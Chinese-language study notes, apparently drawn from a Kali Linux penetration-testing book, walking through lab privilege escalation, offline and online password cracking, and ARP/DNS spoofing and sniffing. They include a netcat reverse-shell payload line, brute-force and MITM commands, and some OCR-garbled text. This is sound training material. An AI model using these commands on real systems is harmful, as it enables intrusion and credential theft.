◆提升权限:获取目标系统的控制权是渗透成功的标志。审计人员也可以使用适用于目标系统的本地漏洞来提升自己的权限,只要他们能够在目标系统上运行提权漏洞利用程序,就可以获得主机上的超级用户权限或者系统级权限。审计人员还可以以该主机为跳板进一步攻击局域网络。(审计人员可能以各种方式获得与被控制系统有关的更多信息,具体地说,他们可能使用嗅探手段截获网络数据包,破解各种服务的密码,在局域网中使用网络欺骗手段,所以说提升权限的最终目的是获得目标系统的最高访问权限)

利用漏洞的最终目的是获取被测 系统的最高权限,即Windows操作系统中管理员账户的权限,或UNIX操作系统中root账户的 权限。所以在利用漏洞之后就应当提升权限。提升权限的实质是通过利用漏洞的手段提高自身的操 作权限。

提升权限的方式分为两类。

纵向提权vertical  privilege escalation):如果低权限角色(的用户)能够获得高权限角色 的权限,则这种提权就可称为纵向提权。例如,如果在提权之后,内容管理系统(CMS)的 某个用户能够使用管理员的功能,那么这种提权就是纵向提权。

横向提权horizontal   privilege escalation):如果获取了同级别角色的权限,这种提权就 属于横向提权。例如,如果在网上银行里,用户  A   获取了用户 B   的权限,他可以替用户B 行操作,那么这种提权就属于横向提权。

越权提升权限的攻击矢量,大体可分为以下几种。

利用本地漏洞。

利用目标系统上的配置缺陷。例如,如果     home 目录可被其他用户访问,那么攻击人员可就 可以使用目录里的SSH私有密钥访问其他主机。

利用目标系统的弱密码

嗅探网络流量以捕获他人的用户名和密码。

伪造网络数据包。

利用本地漏洞

            使用本地漏洞的利用程序(local exploit)来提升权限

            Kali测试机IP192.168.198.130

            Metasploitable2 192.168.198.129

1. kali上扫描脆弱系统的所有端口,查看其服务

2. msfconsole上搜索是否有对应的exploit程序(搜索结果表明有)

3. 通过exploit利用了该服务的漏洞,而后通过操作系统的指令看到获取的权限是daemon,再进一步操作之前,我们应获取到被测主机的详细信息,首先查看其内核版本

#uname -r

通过上述指令,我们了解到目标主机的内核是2.6.24-16-server

我们搜索  exploit-db     的资料库,发现某个 exploit     程序 (http://www.exploitdb.com/exploits/8572/)可将我们的权限提升为root权限。下一步,在测试主机上保存exploit程序,然后使被测主机从测试主机下载这个程序(emmm,拒绝访问)

尝试关闭kali防火墙,打开80端口也不行

待处理

在被测主机上下载exploit之后,我们在被测主机上使用gcc指令编译exploit。

gcc   privs.c -o  privs

现在,我们制备好了exploit程序。在分析了exploit的源代码之后,我们发现这个exploit程序需 要在命令行里使用     udevd    netlink     socket 的 PID(Process     Identifier)作为参数。为此,我们 使用下述指令获取这个PID值。

Kali  Linux  渗透测试的艺术(中文版)

248第 10章 提升权限

图10.4

cat   /proc/net/netlink

所获信息如图10.5所示。

图10.5

您也可以通过单条指令获取udev服务的PID。

ps aux   |    grep    udev

上述指令的输出结果如下。

root 2391  0.0 0.1 2216  660     ?    S    <S  21:06 0:01    /              sbin  /udevd     -daemon

即,udev服务的PID是2390。

在实际的渗透测试工作之中,您可能要安装一台内核与被测主机完全相同的测试主机,以测 试exploit程序。

从被测主机上收集的信息判断,目标主机上安装有NetCat程序。成功运行exploit程序之后, 我们就有了被测主机的 root  权限。我们再在被测主机上运行  netcat 程序,让它反向连接到测 试主机。通过其源代码可知,这个              exploit   把文件名为 run      的可执行文件当作其payload。所 以,我们需要制备这个payload。

echo      '#!/bin/bash' >    run echo  '/bin/netcat  -e              /bin/bash    192.168.56.101 31337'     >>  run

在执行payload之前,我们还要在测试主机上启动netcat的监听服务,以受理被测主机发起的 连接。

nc -vv    -l    -p  31337

最后,我们在被测主机上运行下述指令。

./privs   2390 此后,我们可在测试主机上看到图10.6所示的信息。

图10.6

通过whoami指令,我们可看到已经成功提升自身权限为root的权限。

  • 密码攻击

密码是当代系统验证用户身份的主要手段。只要某人能够递交正确的用户名和对应的密码, 系统就允许这个人登录并允许他使用该账号的所有资源。

构成身份验证的要素可分为三大类。

●   基于所知(something you know)。这类认证要素通常被称为身份验证的第一要素。密码 就属于这类要素。理论上来说,只有特定秘密的持有人才能“知道”有关秘密。然而不幸的是, 这类信息很容易外泄,也易于被他人获悉。因此,机要系统应当采取其他方式的身份验证方 式。

●   基于所有(somethingyou   have)。这类认证要素通常被称为身份验证的第二要素。安全令 牌、门禁卡等都属于这类认证要素。向系统出示相应的安全持有物后,持有者即可获得登录 权。不过,持有物(信息)可被复制,所以这种身份验证方法并非没有缺陷。

●  基于特征(something you  are)。这类认证要素通常被称为身份验证的第三要素。相比前 两者而言,这类信息的身份验证方法更为安全。然而,已经出现了攻击这种验证方法的实际 案例。指纹识别和视网膜识别都属于验证这类要素的手段。

如果有较高的安全需求,就应当验证一个以上的验证要素。高规格的安全系统往往验证第一 要素和第二要素。因为这种方法验证了两种身份验证要素,因此被称为双要素验证。

然而不幸的是,经验表明,目前多数系统广泛依赖单一的密码验证。作为渗透测试人员,您应当在测试过程中验证密码的安全性。

根据攻击方式的不同,密码攻击可分为以下几类。

●   离线攻击:这种攻击手段意在获取目标主机上的密码      hash   文件,并将该文件复制到攻击人 员的主机。此后,攻击人员就可使用密码破解工具破解密码文件。这种方法的优点是无须顾 及被测主机上的密码阻止策略(账户锁定等设置),因为有关破解工作是在攻击人员的主机上完成的                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ● 在线攻击:如果采用这种方法,攻击人员将猜测用户名和对应的密码。因为需要多次猜测用 户密码,所以这种方式因为可能会触发账户锁定等保护机制。

● 离线攻击工具

这类工具用于实施离线密码攻击。通常情况下,你会用这种工具破解高权限账户的密码,所以这些工具往往用于纵向提权

既然已经有了某种权限的账户信息,为什么还需要其他账户的登录信息呢?在对某个系统进 行渗透测试时,受被测主机配置的影响,所用账户可能无法运行某些特定的应用程序。这种 情况下,您就无法进行下一步测试。但是,如果使用常规用户身份登录,您就可以正常运行 那些程序了。这是需要获取其他账户信息的原因之一。

现在的主流系统在存储密码的时候都只保存密码的hash(哈希值)。通过哈希算法,密码可 被转换为固定长度的消息摘要。这种转换是不可逆的单向转换。所谓单向转换是指:这种算 法可将既定原始值轻松地转换为某个哈希,而没有实用的方法可以从哈希值逆向推导出原始 的输入值。

过去,计算机系统保存密码明文。如果攻击人员获取到密码文件,那么他就获取了全部的密 码。现在,即使攻击人员获取了密码文件,他们也只能获取密码的哈希值,还是无法轻易获 取原始密码。

密码破解是以穷举的方式做哈希碰撞。如果所测密码的哈希值与文件中的哈希值相符,就意 味着猜测到了正确的密码。

在利用SQL注入漏洞之后,测试人员就可导出整个数据库,继而可找到密码的哈希值。离线 破解工具可以帮助测试人员从哈希值中获取记录的原始信息。

  • hash-identifier

这款工具可识别哈希的类型。只有知道被测系统采用了什么哈希算法,才能使用密码破解工 具破解哈希值。有关hash-identifier程序能够支持的加密算法,请参见作者的官方网站: http://code.google.com/p/hash-identifier/。

在物理机上利用工具对明文进行加密:123456789

将经过SHA1加密的密文用hash-identifier来验证

在使用md5加密来验证

(验证结果显示还是挺准确的)

接下来,我们可以使用Hashcat程序破解这个哈希值中的信息。

  • Hashcat

Hashcat是一款免费的多线程密码破解工具。目前,它可破解80种算法(http://hashcat. net/hashcat/#features-algos)的哈希值。Hashcat    程序完全依赖 CPU    运算,它要比利用 GPU(Graphical     Processing Unit)运算的密码破解程序要慢一些。

Hastcat支持6种攻击模式。

●   Straight:程序会从文本文件里逐行读取数据,并把这些数据当作密码的备选值。这是默认 的攻击模式,通常也被称作字典式攻击模式。

●   Combination(组合模式):Hashcat     将会把字典中的单词进行排列组合,再做哈希碰撞。 例如,如果字典中含有以下单词

○   password ○ 01

那么Hashcat将会尝试的密码将是:

○   passwordpassword

○   password01

○   01password ○ 0101

●   Toggle Case(穷举大小写组合):程序将会尝试每个字典单词的各种大小写组合。

●   Brute   force(暴力破解):程序将会从关键字空间中取样再做排列组合。这种攻击模式正在 被    mask   attack 所取代。例如,如果我们设定程序测试 A-Z   组成的双字符密码,那么Hashcat 将会尝试AA到ZZ的所有英文字符组合。

●   Permutation(排列组合):对于字典里每个备选密码,程序将会按照字符进行各种排列组 合。例如,如果字典里有AB这个备选密码,那么Hashcat将会测试的密码如下:

○   AB ○ BA

● Table-lookup(表查询):程序将把字典里每个备选密码的每个字符都当作对应的mask进行 处理。这是一种自动匹配模式的穷举攻击,详细情况请参见http://hashcat.  net/wiki/doku.php? id=table_lookup_attack。

Hashcat需要相应的字典文件。您可从下述链接中下载适用的字典。

● http://www.skullsecurity.org/wiki/index.php/Passwords。

● http://cyberwarzone.com/cyberwarfare/password-cracking-megacollection-passwordcracking-     word-lists。 ●     http://hashcrack.blogspot.de/p/wordlist-downloads_29.html

● http://packetstormsecurity.com/Crackers/wordlists/

● http://blog.g0tmi1k.com/2011/06/dictionaries-wordlists.html

● http://www.md5decrypter.co.uk/downloads.aspx

现在开始演示Hashcat的适用方法。 如果在执行Hashcat的时候指定--help选项,您将看到Hashcat的帮助信息。我们可通过这些帮 助信息查看各个选项的使用方法。

假设我们获取了文件名为test.hash的密码文件,并从中找到了下述哈希值。

5f4dcc3b5aa765d61d8327deb882cf99

我们可使用rockyou.txt文件作为Hashcat的密码字典。简便起见,我们可把密码文件和字典文 件放在同一个目录下。用pwd指令查看当前目录的目录名。

然后我们通过下述指令,令Hashcat以默认的攻击方式测试密码。

将有sha1加密的123456789密文放在password.hash下,用垃圾字典dictionary.txt破解

#hashcat --force -m 100   password.hash dictionary.txt

默认攻击模式的破解速度比较快。如果密码字典没有命中正确的密码,您就需要尝试其他的 攻击模式。

Hashcat系列有很多密码破解工具。其中部分程序可以使用GPU破解密码;所以只要您的电脑 装有兼容的GPU,那么破解速度还是相当理想的。请注意,无法在VM虚拟机里使用基于GPU 破解的程序,因为在虚拟机里运行的程序无法直接调用物理主机的硬件。此外,显卡的兼容 性也很重要。要使用基于GPU运算的破解程序,您的显卡需要支持CUDA(NVidia)或 OpenCL(AMD)技术。在Hashcat系列里,支持基于GPU运算的破解程序有下面几下。

●         oclhashcat-lite:它是一款基于GPU 运算的密码破解程序。在Hashcat 系列工具里,它算得 上是速度最快的破解工具。不过它支持的哈希算法有限(约30种),而且只支持markov、 brute    force 和mask  模式的密码攻击。

●         oclhashcat-plus:它是一款基于   GPU    运算的密码破解程序,支持多数哈希算法。这个程序 针对字典式攻击进行了各种优化,可同时破解多个哈希值。oclhashcat-plus 工具支持的攻击 模式有brute    foce(以mask  attack 模式实现)、combinator  attack、dictionary attack、hybrid attack、mask attack和基于规则的攻击。

如需详细了解密码字典的有关情况,请参见:

●         Hybrid    attack(https://hashcat.net/wiki/doku.    php?id=hybrid_attack)

●         Mask attack(http://hashcat.net/wiki/doku. php?id=mask_attack)

●         Rule-basedattack(http://hashcat.net/wiki/doku.  php?id=rule_based_attack)

● RainbowCrack

彩虹表破解(RainbowCrack)是利用彩虹表来破解哈希数据的工具。它实现了由Philippe Oechslin提倡的“以空间换时间”的技术思想。这种破解密码的方式有别于暴力破解。暴力破解攻击首先计算密码的备选值(字典里的密 码)的哈希值,然后再将计算出来的哈希值与获取到的哈希值进行对比。如果这两个值相 等,则可确定哈希值的原始内容即是密码;否则就说明密码不正确。

彩虹表破解法的效率也高于暴力破解法。这是因为暴力破解法必须计算字典内容的哈希值, 然后进行匹配。而使用“以空间换时间”技术的彩虹表破解法,事先就计算好了字典各项的哈希 值,破解过程只是简单的数值比较,所以效率更高。

Kali

Linux收录了RainbowCrack的三大工具。在破解哈希时,您必须依次使用这些工具。

●  rtgen:生成彩虹表的程序。生成彩虹表的计算过程也被称为彩虹表的预计算阶段。彩虹表 包含字典、哈希值、哈希算法、字符集以及字典的长度范围。彩虹表的预计算相当费时。但 是生成彩虹表之后,彩虹表破解法将比暴力破解法的效率要高上不少。rtgen    程序支持的算法 有   LanMan、NTLM、MD2、MD4、MD5、SHA1   以及RIPEMD160。

●   rtsort:对rtgen   生成的彩虹表进行排序的工具。

●   rcrack:利用彩虹表査找哈希值的工具。

●samdump2

# samdmp2

获取Windows密码哈希值的方法有很多。

● 第一种方法:直接使用samdump2  程序分析Windows 系统和SAM文件。有关信息都保存在 c:\%windows%\system32\config目录下。不过,在Windows运行期间,该目录被锁定保护。 所以,可通过Linux  Live              CD(例如Kali Linux)启动计算机系统,然后挂在              Windows    系统的 磁盘分区。在此之后,您就可以把Windows的SAM文件复制到Kali主机上。

● 第二种方法:使用pwdump程序或同类型的相关工具把Windows账户的密码哈希值导出来。 ● 第三种方法:参见上一章    Meterpreter 脚本的使用方法,再执行hashdump命令把密码的哈 希值导出来。使用这种方法的前提是您首先要成功利用好主机的漏洞,并能够上传 Meterpreter的脚本。

假设已经取得system   和sam文 件,将它们以同文件名保存在home目录下,那么破解哈希值的命令如下所示。

#samdump2     system     sam    -o     test-sam

               通过上述指令,我们把samdump2的输出结果保存为文件test-sam ,接下来就可以用密码破解工具破解test-sam文件的哈希值,可以选用下文介绍的John和 Ophcrack。

  •  John

John    the      Ripper/John(http://www.openwall.com/john/)是一款破解密码哈希的工具。目前, 这款工具可以破解40    多种类型的密码哈希。它可破解常见的  DES、MD5、LM、NT、crypt、 NETLM和NETNTLM型哈希。虽然破解哈希的软件有很多,但是DES和crypt型哈希的破解功能使John成为一枝独秀。

如需启动John程序,可在终端中使用下述指令。

#john

John的密码破解模式分为以下4种。

● 字典模式(Wordlist mode):在这种模式下,用户只需要提供字典文件(wordlist)就可以 破解密码文件。字典文件是包含密码备选值的文本文件,文件中的每行内容都将被当作一个 用来进行碰撞测试的候选密码。这种模式具备“字词变化”(就是某种规则)的功能,(这种规 则)可自动套用在每行的备选密码中,以提高破解的概率。--wordlist=选项用于指定字典文 件。这种字典可以是您自己制作的字典,也可以是他人制作的字典。许多网站都提供字典下 载。例如,   Openwall              Project(John  的官方网站)就提供字典下载服务,详情请参见 http://download.      openwall.net/pub/wordlists/。

● 简易破解模式(Single   crack  mode):这是John程序作者推荐的应当首先尝试的破解模 式。在这种模式下,John会使用登录名、全名和用户的home文件夹名作为测试的候选密码, 并使用候选密码来碰撞(破解)相应账户的密码,或者破解使用相同salt加密的密码哈希。就 结果而言,这种模式比字典模式要快得多。

● 增强型破解模式(Incremental     mode):这种模式是John     各种模式里功能最强大的破解模 式,它会尝试所有可能的密码组合。不过,如果用户不设置密码的测试区间,程序将会非常 耗时。测试区间由密码长度的上限和字符集的设置构成。要这种破解模式破解密码,必须指 定相应的破解模块。程序预设的模块有All、Alnum(字母和数字)、Alpha(字母)、 Digits(数字)和  Lanman;您也可以根据实际需要自定义一个测试模块。

● 外部模式(External  mode):在这种模式下,用户可以指定John程序使用外部(源)程序 破解密码。如需使用这种模式,您首先应在配置文件里创建一个[List.External:MODE]的节点 (section)。其中,MODE就是这种模式的一个(任意)名字,而这个节点的内容应当是C语 言编写的生成候选密码的各种函数。以这种模式启动程序之后,John会编译这个节点内的源代码,并使用它进行密码破解。

# unshadow        etc-passwd     etc-shadow  > pass

可使用下述指令破解密码;其中,pass就是需要破解的密码文件,也就是刚刚合并处理的那 个文件。

#john        pass

如果John程序能够破解这些密码,它就会把破解的密码储存为john.pot。

如需查看破解出来的密码,可使用下述指令。

#john        --show  pass

如需清空John程序的缓存,就要删除文件/root/.john/john.pot

要破解Windows密码,就要使用pwdump(工具集)把SYSTEM和SAM文件中的密码哈希值 (LM和/或NTLM算法)提取出来。如需了解这个工具集的各款工具,请参见http://www. openwall.com/passwords/pwdump。Kali Linux收录了其中的samdump2程序。

接下来,我们使用字典文件     password.lst 破解   samdump2              导出的哈希信息。此时需要使用的 指令如下所示。

#john   test-sam     --wordlist=password.lst  -     -format=nt

# john test-sam     --format=nt --show

● Ophcrack

Ophcrack是一款基于彩虹表的破解工具。它可破解LM和NTLM型的Windows的密码哈希。这 款程序有命令行版本,也有图形化界面的版本。因为它属于彩虹表破解工具,所以Ophcrack 采用的破解策略同样是以空间换时间的策略。

Windows   NT 和早期的     Windows 系统(包括 2000/XP)采用 LAN     Manager(LM)保存用户密码的哈希。

 后来,微软推出了NT  LAN    ManagerNTLM)哈希,以替代LM哈希。NTLM    算法可对账号进 行认证,并实现了会话的完整性和保密性。Windows    NT SP4开始,Windows系统开始逐步采 纳更为安全的NTLM  v2的算法。这种新算法增强了服务器和用户之间的认证功能。微软已经 不再推荐用户使用NTLM哈希。

#ophcrack-cli

上述指令将会在屏幕上显示简单的使用说明及相关范例。

#ophcrack

上述指令将会启动Ophcrack    GUI(图形化界面)

  • Crunch

如果要创建由字母组成的密码长度在5个字符以内密码字典,并指定密码字典的文件名为 5chars.txt,我们可使用下述指令。

#crunch     1     5     –o    5chars.txt

这个文件的内容表明,上述指令创建了从azzzzz的各种字符串,并将其组织为密码字典

接下来,我们要创建由小写字母和数字组成的密码长度在        4个字符以内的密码字典,并指定 字典文件的文件名为wordlist.lst

根据以上需求,我们需要使用下述指令。

#crunch     1        4     -f    /usr/share/crunch/charset.lst  lalpha-numeric

  • 在线破解工具

所谓在线破解,意 味着这类工具在与被测主机建立连接之后才能破解密码。

本节将要介绍的工具可分为以下几类:

● 制作密码字典;

●    搜索密码的哈希值;

● 在线密码破解工具。

本节首先会讲解两款根据被测网站信息制作密码字典的工具,然后会介绍几款在线破解密码 的工具。

在线密码破解工具会采取常规用户登录的方式,以用户名和密码登录远程主机的网络服务。 它会不断尝试各种用户名和密码,直到发现正确的账户信息为止。

这类工具存在暴露的风险。因为测试主机会直接连接到被测主机,所以可能会被对方发现甚 至会被屏蔽。因为这些工具使用的是标准登录过程,所以在破解效率方面比离线攻击软件的 效率更高。

虽然在线攻击工具速度不快,也可能触发帐户锁定机制,但是对于     SSH、Telnet 和FTP这类 服务来说,在线攻击是密码破解的唯一方式。在进行在线的密码攻击时,务必加倍小心;尤 其是在攻击 Active Directory(AD)服务器的账户时,暴力破解可能会锁定所有的域账户。要 避免发生锁定账户的情况,不仅要事先查看密码和用户锁定策略,在测试密码时最好还要使 用同一个密码对所有用户名进行测试(轮换用户名,而不是轮换密码)。

      1CeWL

CeWL(Custom   Word  List)(http://www.digininja.org/projects/cewl.php)是一款以爬虫模 式在指定URL上收集单词的工具。把它收集到的单词纳入密码字典,可提高密码破解工具 (例如John    the      Ripper)的命中率。

CeWL程序有很多选项,其中较为常用的如下所示。

● --depth  N   或-d    N:提取深度,分析  N   级链接以内的网页内容;提取深度的默认值是2。

● --min_word_length    N   或-m  N:单词的最小长度,少于N           个字符的单词不会被收录;单词最 小长度的默认值是3。 ●  --verbose    或-v:详细提示模式。

● --write    或-w:设定输出文件的文件名。

如果在运行CeWL时遇到Error: zip/zip      gem    not              installed错误,那么就要使用gem  install zip/zip              指令安装相应的功能包:

#gem  install   zip

结合上述选项,我们使用下述指令从目标网站收集单词。

#cewl    -w     target.txt        http://www.target.com

稍等片刻之后,程序会把收集到的单词保存为文件target.txt。在Kali系统里,这个文件位于目 录/usr/share/cewl

2Hydra

Hydra是一款猜测并破解用户名和密码的工具。它支持多种网络协议,可破解HTTP、FTP、 POP3和SMB等协议的密码。它会使用字典并行穷举网络服务的用户名和密码。默认情况下, 它向目标主机发起16个并行连接同时进行多组测试。

如需启动Hydra程序,可在终端中使用下述指令。

#hydra

本例将演示使用hydra程序破解192.168.56.101的VNC服务器的密码。如果密码字典的文件名 是password.lst,我们可使用下述指令。

#hydra      -P      password.lst   192.168.56.101      vnc

下一步工作就是验证Hydra破解的密码。我们可直接运行vncviewer程序,使用这些密码连接 到远程主机的VNC服务器。

#vncviewer  192.168.56.101

3Medusa

Medusa是另外一款在线破解网络服务密码的程序。它具有速度快、并发性能强和模板化的特 点。现在,它能够通过相应模板破解CVSFTPHTTPIMAPMS-SQLMySQL NCPNetWare)、PcAnywherePOP3PostgreSQLrexecRloginrshSMB SMTPVRFY)、SNMPSSHv2SVNTelnetVmAuthdVNC协议,另有一个通用处 理模板。

在实际的渗透测试工作中,可同时使用这两款工具、尽可能获取被测主机的各种信息。

如需启动Medusa工具,可在终端中使用下述指令。

#medusa

Medusa程序有很多选项,其中常用的一些选项如下所示。

-u          -U[FILE]:指定用户名或用户名字典。

-h          -H[FILE]:指定主机名或主机名字典。

-p          -P[FILE]:指定密码或密码字典。 ● -M:配置测试所用的模板的名称。亦可通过-d 选项搜索模板。

-O:设置输出文件的文件名。

-V:设置提示信息的详细程度。如果使用了-v     4    选项,将只能看到成功破解的登录凭据

再用Medusavnc作一次相同的破解试验

#medusa      -u root      -P password.lst  -h 192.168.56.101     -M      vnc     -v              4

  • 网络欺骗工具

     前面介绍了多款破解密码的工具。本节将探索通过网络欺骗的手段提升权限的各种方法。网络欺骗(network   spoofing泛指修改网络数据的各种手段。例如,伪造MAC      地址、伪造 IP地址等的数据,都属于网络欺骗的范畴。网络欺骗旨在于获取网络上两个会话主机的通信数据。

  •  DNSChef

DNSChefhttp://thesprawl.org/projects/dnschef/)是一款DNS代理工具。它可替DNS服务器 对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的 服务器的角色。DNSChef的这种功能可用来分析甚至控制客户主机的网络流量。

在使用DNSChef之前,需要对被测主机进行调整,指定DNSChef的主机为被测主机的DNS 服务器。

     如果被测主机安装的是Linux    系统,那么应当修改/etc/resolv.conf   文件。

     如果被测主机安装的是  Windows,可通过控制面板的网络连接选项进行相应的设置。在没有权限更改被测主机     DNS        服务器设置的情况下,就需要使用其他手段(例如ARP欺骗 并搭设一个伪DHCP服务器等)劫持被测主机的DNS请求。

本例涉及2台主机,一台是运行DNSChef的主机,其IP192.168.2.21;另一台是被测(受害人的)主机,其IP192.168.2.22。简便起见,我们用Metasploitable的虚拟机充当被测主机。

首先,我们要对DNSChef进行设置。

1.设置为DNS代理

第一步是把DNSChef设置为DNS代理服务器。我们要在  DNSChef的主机上运行下述指令。

#dnschef

   而后调整这台主机的DNS设置,使之使用本机(localhost)的DNS服务器。 然后使用下述命令查询google.comDNS记录。

      #host -t    A    google.com

上述指令向DNSChef发起DNS查询,这种设置将DNSChef调整为DNS代理服务器。它将所有DNS解析请求转发到上游解析服务器。本例中,它的上游DNS服务器是8.8.8.8

2.伪造域名记录

现在,我们要伪造      google.com      有关的       DNS      响应。和前一个例子里的情况一样,首先要修 /etc/resolv.conf文件,令被测主机使用DNSChef作为其DNS服务器。

接下来在DNSChef所在的主机上使用下述指令。

#dnschef     --fakeip=192.168.2.21    -fakedomains      google.com --interface    192.168.2.21     -q

而后我们在被测主机查询google.comIP地址。

$         host -t      A    google.com

arpspoof

arpspoof       是一款在交换网络中辅助进行网络监听的实用工具。前文提过,在使用交换机进行 数据交换的网络环境里很难进行网络监听,但arpspoof可以辅助我们完成这项任务。

arpspoof用于伪造网络中两台设备的ARP通信。

常规情况下,当主机A要和主机B(网关)进行通信的时候,主机A会广播ARP请求以获取主 B    MAC      地址。此后,主机B 将会回应这个ARP  请求,在ARP Reply   数据包里声明自己的 MAC地址;与此同时,主机B也会将ARP广播中主机AMAC地址记录下来。此后,主机A 主机B才能开始通信

如果攻击者C想要监听主机A和主机B之间的网络流量,则可以向主机A发送ARP回复,告诉它 主机B使用的是主机CMAC地址(33.33.33.33.33.33);而后它还要通告主机B主机A MAC地址是33.33.33.33.33.33”

ARP欺骗生效之后,主机A和主机B之间的所有网络数据包都会通过主机C转发。

在使用arpspoof之前,需要在Kali  Linux(运行ARPspoof)的主机上启用IP       转发功能。这就需 要以root用户的身份执行下述指令。

#echo  1   >        /proc/sys/net/ipv4/ip_forward

#arpspoof

本例的试验环境的具体情况如下所示。

网关的配置信息如下。

       MAC  地址:00-50-56-C0-00-08 ●  IP   地址:192.168.65.1

       子网掩码:255.255.255.0

被测主机的配置如下。

       MAC  地址:00-0C-29-35-C9-CD

       IP 地址:192.168.65.129 ● 子网掩码:255.255.255.0

测试主机的配置如下。

       MAC  地址:00: 0C: 29: 09: 22: 31

       IP 地址:192.168.65.130

       子网掩码:255.255.255.0 在启动程序以前,被测主机的ARP缓存如下所示。

Interface:     192.168.65.129     ---   0x30002

Internet Address      Physical      Address      Type

192.168.65.1  00-50-56-c0-00-08 dynamic

通过以下命令,对被测主机实施ARP欺骗。

# arpspoof -t   192.168.65.129  192.168.65.1

在被测主机上稍等片刻,然后用      ping      命令测试网关的连接情况。被测主机的      ARP      缓存很快 就就会改变为下述内容。

Interface:     192.168.65.129     ---   0x30002

Internet Address      Physical      Address      Type

192.168.65.1  00-0C-29-09-22-31 dynamic

上述信息表明,在被测主机的ARP缓存里,网关的MAC地址由00-50-56-c0-00-08改变为000C-29-09-22-31。新的MAC地址是测试主机的MAC地址。从中可以看出,网关对应MAC地址 已经变成攻击者机器的MAC地址。

Ettercap

Ettercaphttp://www.ettercap-project.org/)是一款在LAN中进行中间人攻击的工具集。它通 ARP攻击充当网络通信的中间人。一且ARP协议的攻击奏效,它就能够:

       修改数据连接;

       截获FTPHTTPPOP SSH1     等协议的密码;

       通过伪造SSL      证书的手段劫持被测主机的HTTPS 会话。

ARP协议(地址解析协议)用来把IP地址解析为物理地址(MAC地址)。当某个网络设备需 要与其他网络资源通信时,它会通过ARP广播查询目标设备的MAC地址,目标设备也会通过 ARP协议的数据包回复自己的MAC地址。此后,通信双方都会将IPMAC的对应信息保存到 自己的ARP缓存中,以节省后续通信的查询时间。 在某台主机要进行通信时,它首先会查询对方IP地址的MAC地址。此时,攻击人员可将自己 主机回复给查询MAC地址的主机,以进行中间人攻击。这种攻击叫做ARP毒化(污染)攻击 ARP欺骗。只有当攻击主机和被测主机处于同一网段的时候,这种攻击才会有效。

Kali     Linux 提供的Ettercap    工具可以实施这种攻击。Ettercap  有三种操作模式:文本模式仿图形(curses,以字符模拟图形界面)模式和GTK界面的图形模式

若要以文本模式启动Ettercap程序,可在终端中使用下述指令。

#ettercap     -T

若要以仿图形模式启动它,可在终端中使用下述指令。

#ettercap    -C

若要进入Ettercap的图形模式,可在终端中使用下述指令。

#ettercap    -G

本例将使用Ettercap程序进行DNS欺骗攻击。各主机采用了前一个例子的配置方法。此外,本例要使用额外的两台主机:IP192.16S.2.1DNS服务器;一台诱导被测主机连接的IP地址 192.168.2.22Web服务器。攻击人员测试主机的IP地址为192.168.2.21

1.        进入Ettercap      的图形模式。

2.        在菜单里依次选中Sniff      |     Unified       sniffing,选则相应的网卡

3.        在菜单中选择Hosts      |     Scan     for hosts,扫描网络中的主机。

4.        在菜单中选择Hosts      |     Hosts   list,査看当前联网的主机。

5.        指定要欺骗的主机。本例中,我们选择192.168.2.1DNS 服务器)作为第一目标。在主机 列表中,选中这个IP,然后点击Add                     to Target  1。接下来,选中192.168.2.22并把它添加为第 二目标Add        to      Target  22

6.        在菜单里依次选中Mitm|  Arp       poisoning,以启动ARP  攻击。现在DNS    服务器和被测的MAC 地址均认为对方的IP   使用的是攻击人员主机的MAC   地址。

7.        调整配置文件/usr/share/ettercap/etter.dns,将诱导服务器的                     IP 地址绑定在需要欺骗(拦 截)的域名上。

google.com  A  192.168.2.21

*.google.com A  192.168.2.21

www.google.com PTR 192.168.2.21

这将把被测主机与google.com之间的全部通信诱导到攻击人员部署的Web服务器上。

8.        在菜单里依次选中  Plugins |     Manage      the plugins,然后双击(激活)dns_spoof插件。

9.        最后,我们在被测主机上打开浏览器,访问google.com

上述情况表明,DNS欺骗已经奏效。被测主机没有看到真正的Google网站,它的浏览器访问 的是攻击人员部署的Web服务器。

10.      如需停止攻击,可在菜单中依次选中Mitm |     Stop     mitm                     attack(s) 即使觉得图形界面的操作过于繁琐,您也不必担心。在Ettercap的文本模式里,这些操作要简 洁得多。

在文本模式里,以下指令就可完成刚才的前8步操作(第7步除外)。

#ettercap     -i  eth0   -T       -q -P       dns_spoof  -M  ARP /192.168.2.1/  /192.168.2.22/

在文本模式 里,按Q键就可退出程序。

◇网络嗅探器

网络嗅探器器是监视网络数据的软件程序或硬件设备。人们往往利用它复制网络数据的功能 来检测网络数据。借助这类工具,您可以看到网络中正在传输的信息。

不久之前,网络嗅探器只是网络工程师用来解决网络问题的工具。但是,它确实可以用来作恶。如果网络数据以明文传输,且计算机之间通过集线器交换数据,那么网络里的通信信 息,例如用户名、密码、邮件内容等,将很容易被他人捕获。幸运的是,如果使用交换机组 网,那么捕获数据的难度会高一些,但是他人仍然能够捕获信息。

多数情况下,需要在嗅探数据以前进行网络欺骗攻击,因为它通常是成功施行网络嗅探的前提。

            Dsniff

Dsniff 能够在网络中捕获密码。目前,它可从以下协议中捕获密码:FTPTelnetSMTP HTTPPOPpoppassNNTPIMAPSNMPLDAPRloginRIPOSPFPPTP MS-CHAPNFSVRRPYP/NISSOCKSX11CVSIRCAIMICQ      Napster PostgreSQLMeeting     MakerCitrix  ICASymantec  pcAnywhereNAI      SnifferMicrosoft SMBOracle SQL*NetSybase      以及Microsoft      SQL

如需启动dsniff程序,可在终端中使用下述指令。

# dsniff  -h

上述指令将会在屏幕上显示程序的使用说明。我们将使用它捕获FTP密码。在本例的演示 中,FTP客户端的IP192.168.2.20,服务器IP则是192.168.2.22,这两台主机通过集线器连 接。攻击人员的主机IP192.168.2.21

在攻击人员的测试主机上执行下述指令。

#dsniff      -i         eth0 -m

其中,选项-i      eth0 将使Dsniff      程序监听eth0      网卡。而选项-m                 则用于启用程序的自动协议检测功能。

然后,在装有FTP客户端程序的主机上,使用客户端程序登录FTP服务器。

dsniff的运行结果如下。

